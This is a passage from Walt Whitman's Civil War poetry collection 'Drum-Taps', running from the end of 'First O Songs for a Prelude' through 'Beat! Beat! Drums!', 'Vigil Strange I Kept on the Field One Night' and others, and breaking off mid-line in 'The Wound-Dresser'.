around, the + sunrise cannon and again at sunset, +Arm'd regiments arrive every day, pass through the city, and embark + from the wharves, +(How good they look as they tramp down to the river, sweaty, with + their guns on their shoulders! +How I love them! how I could hug them, with their brown faces and + their clothes and knapsacks cover'd with dust!) +The blood of the city up-arm'd! arm'd! the cry everywhere, +The flags flung out from the steeples of churches and from all the + public buildings and stores, +The tearful parting, the mother kisses her son, the son kisses his mother, +(Loth is the mother to part, yet not a word does she speak to detain him,) +The tumultuous escort, the ranks of policemen preceding, clearing the way, +The unpent enthusiasm, the wild cheers of the crowd for their favorites, +The artillery, the silent cannons bright as gold, drawn along, + rumble lightly over the stones, +(Silent cannons, soon to cease your silence, +Soon unlimber'd to begin the red business;) +All the mutter of preparation, all the determin'd arming, +The hospital service, the lint, bandages and medicines, +The women volunteering for nurses, the work begun for in earnest, no + mere parade now; +War! an arm'd race is advancing! the welcome for battle, no turning away! +War! be it weeks, months, or years, an arm'd race is advancing to + welcome it. + +Mannahatta a-march--and it's O to sing it well! +It's O for a manly life in the camp. + +And the sturdy artillery, +The guns bright as gold, the work for giants, to serve well the guns, +Unlimber them! (no more as the past forty years for salutes for + courtesies merely, +Put in something now besides powder and wadding.) + +And you lady of ships, you Mannahatta, +Old matron of this proud, friendly, turbulent city, +Often in peace and wealth you were pensive or covertly frown'd amid + all your children, +But now you smile with joy exulting old Mannahatta. + + + +} Eighteen Sixty-One + +Arm'd year--year of the struggle, +No dainty rhymes or sentimental love verses for you terrible year, +Not you as some pale poetling seated at a desk lisping cadenzas piano, +But as a strong man erect, clothed in blue clothes, advancing, + carrying rifle on your shoulder, +With well-gristled body and sunburnt face and hands, with a knife in + the belt at your side, +As I heard you shouting loud, your sonorous voice ringing across the + continent, +Your masculine voice O year, as rising amid the great cities, +Amid the men of Manhattan I saw you as one of the workmen, the + dwellers in Manhattan, +Or with large steps crossing the prairies out of Illinois and Indiana, +Rapidly crossing the West with springy gait and descending the Allghanies, +Or down from the great lakes or in Pennsylvania, or on deck along + the Ohio river, +Or southward along the Tennessee or Cumberland rivers, or at + Chattanooga on the mountain top, +Saw I your gait and saw I your sinewy limbs clothed in blue, bearing + weapons, robust year, +Heard your determin'd voice launch'd forth again and again, +Year that suddenly sang by the mouths of the round-lipp'd cannon, +I repeat you, hurrying, crashing, sad, distracted year. + + + +} Beat! Beat! Drums! + +Beat! beat! drums!--blow! bugles! blow! +Through the windows--through doors--burst like a ruthless force, +Into the solemn church, and scatter the congregation, +Into the school where the scholar is studying; +Leave not the bridegroom quiet--no happiness must he have now with + his bride, +Nor the peaceful farmer any peace, ploughing his field or gathering + his grain, +So fierce you whirr and pound you drums--so shrill you bugles blow. + +Beat! beat! drums!--blow! bugles! blow! +Over the traffic of cities--over the rumble of wheels in the streets; +Are beds prepared for sleepers at night in the houses? no sleepers + must sleep in those beds, +No bargainers' bargains by day--no brokers or speculators--would + they continue? +Would the talkers be talking? would the singer attempt to sing? +Would the lawyer rise in the court to state his case before the judge? +Then rattle quicker, heavier drums--you bugles wilder blow. + +Beat! beat! drums!--blow! bugles! blow! +Make no parley--stop for no expostulation, +Mind not the timid--mind not the weeper or prayer, +Mind not the old man beseeching the young man, +Let not the child's voice be heard, nor the mother's entreaties, +Make even the trestles to shake the dead where they lie awaiting the + hearses, +So strong you thump O terrible drums--so loud you bugles blow. + + + +} From Paumanok Starting I Fly Like a Bird + +From Paumanok starting I fly like a bird, +Around and around to soar to sing the idea of all, +To the north betaking myself to sing there arctic songs, +To Kanada till I absorb Kanada in myself, to Michigan then, +To Wisconsin, Iowa, Minnesota, to sing their songs, (they are inimitable;) +Then to Ohio and Indiana to sing theirs, to Missouri and Kansas and + Arkansas to sing theirs, +To Tennessee and Kentucky, to the Carolinas and Georgia to sing theirs, +To Texas and so along up toward California, to roam accepted everywhere; +To sing first, (to the tap of the war-drum if need be,) +The idea of all, of the Western world one and inseparable, +And then the song of each member of these States. + + + +} Song of the Banner at Daybreak + + Poet: +O A new song, a free song, +Flapping, flapping, flapping, flapping, by sounds, by voices clearer, +By the wind's voice and that of the drum, +By the banner's voice and child's voice and sea's voice and father's voice, +Low on the ground and high in the air, +On the ground where father and child stand, +In the upward air where their eyes turn, +Where the banner at daybreak is flapping. + +Words! book-words! what are you? +Words no more, for hearken and see, +My song is there in the open air, and I must sing, +With the banner and pennant a-flapping. + +I'll weave the chord and twine in, +Man's desire and babe's desire, I'll twine them in, I'll put in life, +I'll put the bayonet's flashing point, I'll let bullets and slugs whizz, +(As one carrying a symbol and menace far into the future, +Crying with trumpet voice, Arouse and beware! Beware and arouse!) +I'll pour the verse with streams of blood, full of volition, full of joy, +Then loosen, launch forth, to go and compete, +With the banner and pennant a-flapping. + + Pennant: +Come up here, bard, bard, +Come up here, soul, soul, +Come up here, dear little child, +To fly in the clouds and winds with me, and play with the measureless light. + + Child: +Father what is that in the sky beckoning to me with long finger? +And what does it say to me all the while? + + Father: +Nothing my babe you see in the sky, +And nothing at all to you it says--but look you my babe, +Look at these dazzling things in the houses, and see you the money- + shops opening, +And see you the vehicles preparing to crawl along the streets with goods; +These, ah these, how valued and toil'd for these! +How envied by all the earth. + + Poet: +Fresh and rosy red the sun is mounting high, +On floats the sea in distant blue careering through its channels, +On floats the wind over the breast of the sea setting in toward land, +The great steady wind from west or west-by-south, +Floating so buoyant with milk-white foam on the waters. + +But I am not the sea nor the red sun, +I am not the wind with girlish laughter, +Not the immense wind which strengthens, not the wind which lashes, +Not the spirit that ever lashes its own body to terror and death, +But I am that which unseen comes and sings, sings, sings, +Which babbles in brooks and scoots in showers on the land, +Which the birds know in the woods mornings and evenings, +And the shore-sands know and the hissing wave, and that banner and pennant, +Aloft there flapping and flapping. + + Child: +O father it is alive--it is full of people--it has children, +O now it seems to me it is talking to its children, +I hear it--it talks to me--O it is wonderful! +O it stretches--it spreads and runs so fast--O my father, +It is so broad it covers the whole sky. + + Father: +Cease, cease, my foolish babe, +What you are saying is sorrowful to me, much 't displeases me; +Behold with the rest again I say, behold not banners and pennants aloft, +But the well-prepared pavements behold, and mark the solid-wall'd houses. + + Banner and Pennant: +Speak to the child O bard out of Manhattan, +To our children all, or north or south of Manhattan, +Point this day, leaving all the rest, to us over all--and yet we know + not why, +For what are we, mere strips of cloth profiting nothing, +Only flapping in the wind? + + + Poet: +I hear and see not strips of cloth alone, +I hear the tramp of armies, I hear the challenging sentry, +I hear the jubilant shouts of millions of men, I hear Liberty! +I hear the drums beat and the trumpets blowing, +I myself move abroad swift-rising flying then, +I use the wings of the land-bird and use the wings of the sea-bird, + and look down as from a height, +I do not deny the precious results of peace, I see populous cities + with wealth incalculable, +I see numberless farms, I see the farmers working in their fields or barns, +I see mechanics working, I see buildings everywhere founded, going + up, or finish'd, +I see trains of cars swiftly speeding along railroad tracks drawn by + the locomotives, +I see the stores, depots, of Boston, Baltimore, Charleston, New Orleans, +I see far in the West the immense area of grain, I dwell awhile hovering, +I pass to the lumber forests of the North, and again to the Southern + plantation, and again to California; +Sweeping the whole I see the countless profit, the busy gatherings, + earn'd wages, +See the Identity formed out of thirty-eight spacious and haughty + States, (and many more to come,) +See forts on the shores of harbors, see ships sailing in and out; +Then over all, (aye! aye!) my little and lengthen'd pennant shaped + like a sword, +Runs swiftly up indicating war and defiance--and now the halyards + have rais'd it, +Side of my banner broad and blue, side of my starry banner, +Discarding peace over all the sea and land. + + Banner and Pennant: +Yet louder, higher, stronger, bard! yet farther, wider cleave! +No longer let our children deem us riches and peace alone, +We may be terror and carnage, and are so now, +Not now are we any one of these spacious and haughty States, (nor + any five, nor ten,) +Nor market nor depot we, nor money-bank in the city, +But these and all, and the brown and spreading land, and the mines + below, are ours, +And the shores of the sea are ours, and the rivers great and small, +And the fields they moisten, and the crops and the fruits are ours, +Bays and channels and ships sailing in and out are ours--while we over all, +Over the area spread below, the three or four millions of square + miles, the capitals, +The forty millions of people,--O bard! in life and death supreme, +We, even we, henceforth flaunt out masterful, high up above, +Not for the present alone, for a thousand years chanting through you, +This song to the soul of one poor little child. + + Child: +O my father I like not the houses, +They will never to me be any thing, nor do I like money, +But to mount up there I would like, O father dear, that banner I like, +That pennant I would be and must be. + + Father: +Child of mine you fill me with anguish, +To be that pennant would be too fearful, +Little you know what it is this day, and after this day, forever, +It is to gain nothing, but risk and defy every thing, +Forward to stand in front of wars--and O, such wars!--what have you + to do with them? +With passions of demons, slaughter, premature death? + + Banner: +Demons and death then I sing, +Put in all, aye all will I, sword-shaped pennant for war, +And a pleasure new and ecstatic, and the prattled yearning of children, +Blent with the sounds of the peaceful land and the liquid wash of the sea, +And the black ships fighting on the sea envelop'd in smoke, +And the icy cool of the far, far north, with rustling cedars and pines, +And the whirr of drums and the sound of soldiers marching, and the + hot sun shining south, +And the beach-waves combing over the beach on my Eastern shore, + and my Western shore the same, +And all between those shores, and my ever running Mississippi with + bends and chutes, +And my Illinois fields, and my Kansas fields, and my fields of Missouri, +The Continent, devoting the whole identity without reserving an atom, +Pour in! whelm that which asks, which sings, with all and the yield of all, +Fusing and holding, claiming, devouring the whole, +No more with tender lip, nor musical labial sound, +But out of the night emerging for good, our voice persuasive no more, +Croaking like crows here in the wind. + + Poet: +My limbs, my veins dilate, my theme is clear at last, +Banner so broad advancing out of the night, I sing you haughty and resolute, +I burst through where I waited long, too long, deafen'd and blinded, +My hearing and tongue are come to me, (a little child taught me,) +I hear from above O pennant of war your ironical call and demand, +Insensate! insensate! (yet I at any rate chant you,) O banner! +Not houses of peace indeed are you, nor any nor all their + prosperity, (if need be, you shall again have every one of those + houses to destroy them, +You thought not to destroy those valuable houses, standing fast, + full of comfort, built with money, +May they stand fast, then? not an hour except you above them and all + stand fast;) +O banner, not money so precious are you, not farm produce you, nor + the material good nutriment, +Nor excellent stores, nor landed on wharves from the ships, +Not the superb ships with sail-power or steam-power, fetching and + carrying cargoes, +Nor machinery, vehicles, trade, nor revenues--but you as henceforth + I see you, +Running up out of the night, bringing your cluster of stars, + (ever-enlarging stars,) +Divider of daybreak you, cutting the air, touch'd by the sun, + measuring the sky, +(Passionately seen and yearn'd for by one poor little child, +While others remain busy or smartly talking, forever teaching + thrift, thrift;) +O you up there! O pennant! where you undulate like a snake hissing + so curious, +Out of reach, an idea only, yet furiously fought for, risking bloody + death, loved by me, +So loved--O you banner leading the day with stars brought from the night! +Valueless, object of eyes, over all and demanding all--(absolute + owner of all)--O banner and pennant! +I too leave the rest--great as it is, it is nothing--houses, machines + are nothing--I see them not, +I see but you, O warlike pennant! O banner so broad, with stripes, + sing you only, +Flapping up there in the wind. + + + +} Rise O Days from Your Fathomless Deeps + + 1 +Rise O days from your fathomless deeps, till you loftier, fiercer sweep, +Long for my soul hungering gymnastic I devour'd what the earth gave me, +Long I roam'd amid the woods of the north, long I watch'd Niagara pouring, +I travel'd the prairies over and slept on their breast, I cross'd + the Nevadas, I cross'd the plateaus, +I ascended the towering rocks along the Pacific, I sail'd out to sea, +I sail'd through the storm, I was refresh'd by the storm, +I watch'd with joy the threatening maws of the waves, + +I mark'd the white combs where they career'd so high, curling over, +I heard the wind piping, I saw the black clouds, +Saw from below what arose and mounted, (O superb! O wild as my + heart, and powerful!) +Heard the continuous thunder as it bellow'd after the lightning, +Noted the slender and jagged threads of lightning as sudden and + fast amid the din they chased each other across the sky; +These, and such as these, I, elate, saw--saw with wonder, yet pensive + and masterful, +All the menacing might of the globe uprisen around me, +Yet there with my soul I fed, I fed content, supercilious. + + 2 +'Twas well, O soul--'twas a good preparation you gave me, +Now we advance our latent and ampler hunger to fill, +Now we go forth to receive what the earth and the sea never gave us, +Not through the mighty woods we go, but through the mightier cities, +Something for us is pouring now more than Niagara pouring, +Torrents of men, (sources and rills of the Northwest are you indeed + inexhaustible?) +What, to pavements and homesteads here, what were those storms of + the mountains and sea? +What, to passions I witness around me to-day? was the sea risen? +Was the wind piping the pipe of death under the black clouds? +Lo! from deeps more unfathomable, something more deadly and savage, +Manhattan rising, advancing with menacing front--Cincinnati, Chicago, + unchain'd; +What was that swell I saw on the ocean? behold what comes here, +How it climbs with daring feet and hands--how it dashes! +How the true thunder bellows after the lightning--how bright the + flashes of lightning! +How Democracy with desperate vengeful port strides on, shown + through the dark by those flashes of lightning! +(Yet a mournful wall and low sob I fancied I heard through the dark, +In a lull of the deafening confusion.) + + 3 +Thunder on! stride on, Democracy! strike with vengeful stroke! +And do you rise higher than ever yet O days, O cities! +Crash heavier, heavier yet O storms! you have done me good, +My soul prepared in the mountains absorbs your immortal strong nutriment, +Long had I walk'd my cities, my country roads through farms, only + half satisfied, +One doubt nauseous undulating like a snake, crawl'd on the ground before me, +Continually preceding my steps, turning upon me oft, ironically hissing low; +The cities I loved so well I abandon'd and left, I sped to the + certainties suitable to me, +Hungering, hungering, hungering, for primal energies and Nature's + dauntlessness, +I refresh'd myself with it only, I could relish it only, +I waited the bursting forth of the pent fire--on the water and air + waited long; +But now I no longer wait, I am fully satisfied, I am glutted, +I have witness'd the true lightning, I have witness'd my cities electric, +I have lived to behold man burst forth and warlike America rise, +Hence I will seek no more the food of the northern solitary wilds, +No more the mountains roam or sail the stormy sea. + + + +} Virginia--The West + +The noble sire fallen on evil days, +I saw with hand uplifted, menacing, brandishing, +(Memories of old in abeyance, love and faith in abeyance,) +The insane knife toward the Mother of All. + +The noble son on sinewy feet advancing, +I saw, out of the land of prairies, land of Ohio's waters and of Indiana, +To the rescue the stalwart giant hurry his plenteous offspring, +Drest in blue, bearing their trusty rifles on their shoulders. + +Then the Mother of All with calm voice speaking, +As to you Rebellious, (I seemed to hear her say,) why strive against + me, and why seek my life? +When you yourself forever provide to defend me? +For you provided me Washington--and now these also. + + + +} City of Ships + +City of ships! +(O the black ships! O the fierce ships! +O the beautiful sharp-bow'd steam-ships and sail-ships!) +City of the world! (for all races are here, +All the lands of the earth make contributions here;) +City of the sea! city of hurried and glittering tides! +City whose gleeful tides continually rush or recede, whirling in and + out with eddies and foam! +City of wharves and stores--city of tall facades of marble and iron! +Proud and passionate city--mettlesome, mad, extravagant city! +Spring up O city--not for peace alone, but be indeed yourself, warlike! +Fear not--submit to no models but your own O city! +Behold me--incarnate me as I have incarnated you! +I have rejected nothing you offer'd me--whom you adopted I have adopted, +Good or bad I never question you--I love all--I do not condemn any thing, +I chant and celebrate all that is yours--yet peace no more, +In peace I chanted peace, but now the drum of war is mine, +War, red war is my song through your streets, O city! + + + +} The Centenarian's Story + + [Volunteer of 1861-2, at Washington Park, Brooklyn, assisting + the Centenarian.] +Give me your hand old Revolutionary, +The hill-top is nigh, but a few steps, (make room gentlemen,) +Up the path you have follow'd me well, spite of your hundred and + extra years, +You can walk old man, though your eyes are almost done, +Your faculties serve you, and presently I must have them serve me. + +Rest, while I tell what the crowd around us means, +On the plain below recruits are drilling and exercising, +There is the camp, one regiment departs to-morrow, +Do you hear the officers giving their orders? +Do you hear the clank of the muskets? +Why what comes over you now old man? +Why do you tremble and clutch my hand so convulsively? +The troops are but drilling, they are yet surrounded with smiles, +Around them at hand the well-drest friends and the women, +While splendid and warm the afternoon sun shines down, +Green the midsummer verdure and fresh blows the dallying breeze, +O'er proud and peaceful cities and arm of the sea between. + +But drill and parade are over, they march back to quarters, +Only hear that approval of hands! hear what a clapping! + +As wending the crowds now part and disperse--but we old man, +Not for nothing have I brought you hither--we must remain, +You to speak in your turn, and I to listen and tell. + + [The Centenarian] +When I clutch'd your hand it was not with terror, +But suddenly pouring about me here on every side, +And below there where the boys were drilling, and up the slopes they ran, +And where tents are pitch'd, and wherever you see south and south- + east and south-west, +Over hills, across lowlands, and in the skirts of woods, +And along the shores, in mire (now fill'd over) came again and + suddenly raged, +As eighty-five years agone no mere parade receiv'd with applause of friends, +But a battle which I took part in myself--aye, long ago as it is, I + took part in it, +Walking then this hilltop, this same ground. + +Aye, this is the ground, +My blind eyes even as I speak behold it re-peopled from graves, +The years recede, pavements and stately houses disappear, +Rude forts appear again, the old hoop'd guns are mounted, +I see the lines of rais'd earth stretching from river to bay, +I mark the vista of waters, I mark the uplands and slopes; +Here we lay encamp'd, it was this time in summer also. + +As I talk I remember all, I remember the Declaration, +It was read here, the whole army paraded, it was read to us here, +By his staff surrounded the General stood in the middle, he held up + his unsheath'd sword, +It glitter'd in the sun in full sight of the army. + +Twas a bold act then--the English war-ships had just arrived, +We could watch down the lower bay where they lay at anchor, +And the transports swarming with soldiers. + +A few days more and they landed, and then the battle. + +Twenty thousand were brought against us, +A veteran force furnish'd with good artillery. + +I tell not now the whole of the battle, +But one brigade early in the forenoon order'd forward to engage the + red-coats, +Of that brigade I tell, and how steadily it march'd, +And how long and well it stood confronting death. + +Who do you think that was marching steadily sternly confronting death? +It was the brigade of the youngest men, two thousand strong, +Rais'd in Virginia and Maryland, and most of them known personally + to the General. + +Jauntily forward they went with quick step toward Gowanus' waters, +Till of a sudden unlook'd for by defiles through the woods, gain'd at night, +The British advancing, rounding in from the east, fiercely playing + their guns, +That brigade of the youngest was cut off and at the enemy's mercy. + +The General watch'd them from this hill, +They made repeated desperate attempts to burst their environment, +Then drew close together, very compact, their flag flying in the middle, +But O from the hills how the cannon were thinning and thinning them! + +It sickens me yet, that slaughter! +I saw the moisture gather in drops on the face of the General. +I saw how he wrung his hands in anguish. + +Meanwhile the British manoeuvr'd to draw us out for a pitch'd battle, +But we dared not trust the chances of a pitch'd battle. + +We fought the fight in detachments, +Sallying forth we fought at several points, but in each the luck was + against us, +Our foe advancing, steadily getting the best of it, push'd us back + to the works on this hill, +Till we turn'd menacing here, and then he left us. + +That was the going out of the brigade of the youngest men, two thousand + strong, +Few return'd, nearly all remain in Brooklyn. + +That and here my General's first battle, +No women looking on nor sunshine to bask in, it did not conclude + with applause, +Nobody clapp'd hands here then. + +But in darkness in mist on the ground under a chill rain, +Wearied that night we lay foil'd and sullen, +While scornfully laugh'd many an arrogant lord off against us encamp'd, +Quite within hearing, feasting, clinking wineglasses together over + their victory. + +So dull and damp and another day, +But the night of that, mist lifting, rain ceasing, +Silent as a ghost while they thought they were sure of him, my + General retreated. + +I saw him at the river-side, +Down by the ferry lit by torches, hastening the embarcation; +My General waited till the soldiers and wounded were all pass'd over, +And then, (it was just ere sunrise,) these eyes rested on him for + the last time. + +Every one else seem'd fill'd with gloom, +Many no doubt thought of capitulation. + +But when my General pass'd me, +As he stood in his boat and look'd toward the coming sun, +I saw something different from capitulation. + + [Terminus] +Enough, the Centenarian's story ends, +The two, the past and present, have interchanged, +I myself as connecter, as chansonnier of a great future, am now speaking. + +And is this the ground Washington trod? +And these waters I listlessly daily cross, are these the waters he cross'd, +As resolute in defeat as other generals in their proudest triumphs? + +I must copy the story, and send it eastward and westward, +I must preserve that look as it beam'd on you rivers of Brooklyn. + +See--as the annual round returns the phantoms return, +It is the 27th of August and the British have landed, +The battle begins and goes against us, behold through the smoke + Washington's face, +The brigade of Virginia and Maryland have march'd forth to intercept + the enemy, +They are cut off, murderous artillery from the hills plays upon them, +Rank after rank falls, while over them silently droops the flag, +Baptized that day in many a young man's bloody wounds. +In death, defeat, and sisters', mothers' tears. + +Ah, hills and slopes of Brooklyn! I perceive you are more valuable + than your owners supposed; +In the midst of you stands an encampment very old, +Stands forever the camp of that dead brigade. + + + +} Cavalry Crossing a Ford + +A line in long array where they wind betwixt green islands, +They take a serpentine course, their arms flash in the sun--hark to + the musical clank, +Behold the silvery river, in it the splashing horses loitering stop + to drink, +Behold the brown-faced men, each group, each person a picture, the + negligent rest on the saddles, +Some emerge on the opposite bank, others are just entering the ford--while, +Scarlet and blue and snowy white, +The guidon flags flutter gayly in the wind. + + + +} Bivouac on a Mountain Side + +I see before me now a traveling army halting, +Below a fertile valley spread, with barns and the orchards of summer, +Behind, the terraced sides of a mountain, abrupt, in places rising high, +Broken, with rocks, with clinging cedars, with tall shapes dingily seen, +The numerous camp-fires scatter'd near and far, some away up on the + mountain, +The shadowy forms of men and horses, looming, large-sized, flickering, +And over all the sky--the sky! far, far out of reach, studded, + breaking out, the eternal stars. + + + +} An Army Corps on the March + +With its cloud of skirmishers in advance, +With now the sound of a single shot snapping like a whip, and now an + irregular volley, +The swarming ranks press on and on, the dense brigades press on, +Glittering dimly, toiling under the sun--the dust-cover'd men, +In columns rise and fall to the undulations of the ground, +With artillery interspers'd--the wheels rumble, the horses sweat, +As the army corps advances. + + + +} By the Bivouac's Fitful Flame + +By the bivouac's fitful flame, +A procession winding around me, solemn and sweet and slow--but + first I note, +The tents of the sleeping army, the fields' and woods' dim outline, +The darkness lit by spots of kindled fire, the silence, +Like a phantom far or near an occasional figure moving, +The shrubs and trees, (as I lift my eyes they seem to be stealthily + watching me,) +While wind in procession thoughts, O tender and wondrous thoughts, +Of life and death, of home and the past and loved, and of those that + are far away; +A solemn and slow procession there as I sit on the ground, +By the bivouac's fitful flame. + + + +} Come Up from the Fields Father + +Come up from the fields father, here's a letter from our Pete, +And come to the front door mother, here's a letter from thy dear son. + +Lo, 'tis autumn, +Lo, where the trees, deeper green, yellower and redder, +Cool and sweeten Ohio's villages with leaves fluttering in the + moderate wind, +Where apples ripe in the orchards hang and grapes on the trellis'd vines, +(Smell you the smell of the grapes on the vines? +Smell you the buckwheat where the bees were lately buzzing?) + +Above all, lo, the sky so calm, so transparent after the rain, and + with wondrous clouds, +Below too, all calm, all vital and beautiful, and the farm prospers well. + +Down in the fields all prospers well, +But now from the fields come father, come at the daughter's call. +And come to the entry mother, to the front door come right away. + +Fast as she can she hurries, something ominous, her steps trembling, +She does not tarry to smooth her hair nor adjust her cap. + +Open the envelope quickly, +O this is not our son's writing, yet his name is sign'd, +O a strange hand writes for our dear son, O stricken mother's soul! +All swims before her eyes, flashes with black, she catches the main + words only, +Sentences broken, gunshot wound in the breast, cavalry skirmish, + taken to hospital, +At present low, but will soon be better. + +Ah now the single figure to me, +Amid all teeming and wealthy Ohio with all its cities and farms, +Sickly white in the face and dull in the head, very faint, +By the jamb of a door leans. + +Grieve not so, dear mother, (the just-grown daughter speaks through + her sobs, +The little sisters huddle around speechless and dismay'd,) +See, dearest mother, the letter says Pete will soon be better. + +Alas poor boy, he will never be better, (nor may-be needs to be + better, that brave and simple soul,) +While they stand at home at the door he is dead already, +The only son is dead. + +But the mother needs to be better, +She with thin form presently drest in black, +By day her meals untouch'd, then at night fitfully sleeping, often waking, +In the midnight waking, weeping, longing with one deep longing, +O that she might withdraw unnoticed, silent from life escape and withdraw, +To follow, to seek, to be with her dear dead son. + + + +} Vigil Strange I Kept on the Field One Night + +Vigil strange I kept on the field one night; +When you my son and my comrade dropt at my side that day, +One look I but gave which your dear eyes return'd with a look I + shall never forget, +One touch of your hand to mine O boy, reach'd up as you lay on the ground, +Then onward I sped in the battle, the even-contested battle, +Till late in the night reliev'd to the place at last again I made my way, +Found you in death so cold dear comrade, found your body son of + responding kisses, (never again on earth responding,) +Bared your face in the starlight, curious the scene, cool blew the + moderate night-wind, +Long there and then in vigil I stood, dimly around me the + battlefield spreading, +Vigil wondrous and vigil sweet there in the fragrant silent night, +But not a tear fell, not even a long-drawn sigh, long, long I gazed, +Then on the earth partially reclining sat by your side leaning my + chin in my hands, +Passing sweet hours, immortal and mystic hours with you dearest + comrade--not a tear, not a word, +Vigil of silence, love and death, vigil for you my son and my soldier, +As onward silently stars aloft, eastward new ones upward stole, +Vigil final for you brave boy, (I could not save you, swift was your death, +I faithfully loved you and cared for you living, I think we shall + surely meet again,) +Till at latest lingering of the night, indeed just as the dawn appear'd, +My comrade I wrapt in his blanket, envelop'd well his form, +Folded the blanket well, tucking it carefully over head and + carefully under feet, +And there and then and bathed by the rising sun, my son in his + grave, in his rude-dug grave I deposited, +Ending my vigil strange with that, vigil of night and battle-field dim, +Vigil for boy of responding kisses, (never again on earth responding,) +Vigil for comrade swiftly slain, vigil I never forget, how as day + brighten'd, +I rose from the chill ground and folded my soldier well in his blanket, +And buried him where he fell. + + + +} A March in the Ranks Hard-Prest, and the Road Unknown + +A march in the ranks hard-prest, and the road unknown, +A route through a heavy wood with muffled steps in the darkness, +Our army foil'd with loss severe, and the sullen remnant retreating, +Till after midnight glimmer upon us the lights of a dim-lighted building, +We come to an open space in the woods, and halt by the dim-lighted building, +'Tis a large old church at the crossing roads, now an impromptu hospital, +Entering but for a minute I see a sight beyond all the pictures and + poems ever made, +Shadows of deepest, deepest black, just lit by moving candles and lamps, +And by one great pitchy torch stationary with wild red flame and + clouds of smoke, +By these, crowds, groups of forms vaguely I see on the floor, some + in the pews laid down, +At my feet more distinctly a soldier, a mere lad, in danger of + bleeding to death, (he is shot in the abdomen,) +I stanch the blood temporarily, (the youngster's face is white as a lily,) +Then before I depart I sweep my eyes o'er the scene fain to absorb it all, +Faces, varieties, postures beyond description, most in obscurity, + some of them dead, +Surgeons operating, attendants holding lights, the smell of ether, + odor of blood, +The crowd, O the crowd of the bloody forms, the yard outside also fill'd, +Some on the bare ground, some on planks or stretchers, some in the + death-spasm sweating, +An occasional scream or cry, the doctor's shouted orders or calls, +The glisten of the little steel instruments catching the glint of + the torches, +These I resume as I chant, I see again the forms, I smell the odor, +Then hear outside the orders given, Fall in, my men, fall in; +But first I bend to the dying lad, his eyes open, a half-smile gives he me, +Then the eyes close, calmly close, and I speed forth to the darkness, +Resuming, marching, ever in darkness marching, on in the ranks, +The unknown road still marching. + + + +} A Sight in Camp in the Daybreak Gray and Dim + +A sight in camp in the daybreak gray and dim, +As from my tent I emerge so early sleepless, +As slow I walk in the cool fresh air the path near by the hospital tent, +Three forms I see on stretchers lying, brought out there untended lying, +Over each the blanket spread, ample brownish woolen blanket, +Gray and heavy blanket, folding, covering all. + +Curious I halt and silent stand, +Then with light fingers I from the face of the nearest the first + just lift the blanket; +Who are you elderly man so gaunt and grim, with well-gray'd hair, + and flesh all sunken about the eyes? +Who are you my dear comrade? +Then to the second I step--and who are you my child and darling? +Who are you sweet boy with cheeks yet blooming? +Then to the third--a face nor child nor old, very calm, as of + beautiful yellow-white ivory; +Young man I think I know you--I think this face is the face of the + Christ himself, +Dead and divine and brother of all, and here again he lies. + + + +} As Toilsome I Wander'd Virginia's Woods + +As toilsome I wander'd Virginia's woods, +To the music of rustling leaves kick'd by my feet, (for 'twas autumn,) +I mark'd at the foot of a tree the grave of a soldier; +Mortally wounded he and buried on the retreat, (easily all could + understand,) +The halt of a mid-day hour, when up! no time to lose--yet this sign left, +On a tablet scrawl'd and nail'd on the tree by the grave, +Bold, cautious, true, and my loving comrade. + +Long, long I muse, then on my way go wandering, +Many a changeful season to follow, and many a scene of life, +Yet at times through changeful season and scene, abrupt, alone, or + in the crowded street, +Comes before me the unknown soldier's grave, comes the inscription + rude in Virginia's woods, +Bold, cautious, true, and my loving comrade. + + + +} Not the Pilot + +Not the pilot has charged himself to bring his ship into port, + though beaten back and many times baffled; +Not the pathfinder penetrating inland weary and long, +By deserts parch'd, snows chill'd, rivers wet, perseveres till he + reaches his destination, +More than I have charged myself, heeded or unheeded, to compose + march for these States, +For a battle-call, rousing to arms if need be, years, centuries hence. + + + +} Year That Trembled and Reel'd Beneath Me + +Year that trembled and reel'd beneath me! +Your summer wind was warm enough, yet the air I breathed froze me, +A thick gloom fell through the sunshine and darken'd me, +Must I change my triumphant songs? said I to myself, +Must I indeed learn to chant the cold dirges of the baffled? +And sullen hymns of defeat? + + + +} The Wound-Dresser + + 1 +An old man bending I come among new faces, +Years looking backward resuming in answer to children, +Come tell us old man, as from young men and maidens that love me, +(Arous'd and angry, I'd thought to beat the alarum, and urge relentless war, +But soon my fingers fail'd me, my face droop'd and I resign'd myself, +To sit by the wounded and soothe them, or silently watch the dead;) +Years hence of these scenes, of these furious passions, these chances, +Of unsurpass'd heroes, (was one side so brave? the other was equally brave;) +Now be witness again, paint the mightiest armies of earth, +Of those armies so rapid so wondrous what saw you to tell us? +What stays with you latest and deepest? of curious panics, +Of hard-fought engagements or sieges tremendous what deepest remains? + + 2 +O maidens and young men I love and that love me, +What you ask of my days those the strangest and sudden your talking recalls, +Soldier alert I arrive after a long march cover'd with sweat and dust, +In the nick of time I come, plunge in the fight, loudly shout in the + rush of successful charge, +Enter the captur'd works--yet lo, like a swift-running river they fade, +Pass and are gone they fade--I dwell not on soldiers' perils or + soldiers' joys, +(Both I remember well--many the hardships, few the joys, yet I was content.) + +But in silence, in dreams' projections, +While the world of gain and appearance and mirth goes on, +So soon what is over forgotten, and waves wash the imprints off the sand, +With hinged knees returning I enter the doors, (while for you up there, +Whoever you are, follow without noise and be of strong heart.) + +Bearing the bandages, water and sponge, +Straight and swift to my wounded I go, +Where they lie on the ground after the battle brought in, +Where their priceless blood reddens the grass the ground, +Or to the rows of the hospital tent, or under the roof'd hospital, +To the long rows of cots up and down each side I return, +To each and all one after another I draw near, not one do I miss, +An attendant follows holding a tray, he carries a refuse pail, +Soon to be fill'd with clotted rags and blood, emptied, and fill'd again. + +I onward go, I stop, +With hinged knees and steady hand to dress wounds, +I am firm with each, the pangs are sharp yet unavoidable, +One turns to me his appealing eyes--poor boy! I never knew you, +Yet I think I could not refuse this moment to die for you, if that + would save you. + + 3 +On, on I go, (open doors of time! open hospital doors!) +The crush'd head I dress, (poor crazed hand tear not the bandage away,) +The neck of the cavalry-man with the bullet through and through examine, +Hard the breathing rattles, quite glazed already the eye, yet life + struggles hard, +(Come sweet death! be persuaded O beautiful death! +In mercy come quickly.) + +From the stump of the arm, the amputated hand, +I undo the clotted lint, remove the slough, wash off the matter and blood, +Back on his pillow the soldier bends with curv'd neck and side falling head, +His eyes are closed, his face is pale, he dares not look on the + bloody stump, +And has not yet look'd on it. + +I dress a wound in the side, deep, deep, +But a day or two more, for see the frame all wasted and sinking, +And the yellow-blue countenance see. + +I dress the perforated shoulder, the foot with the bullet-wound, +Cleanse the one with a gnawing and putrid gangrene, so sickening, + so offensive, +While the 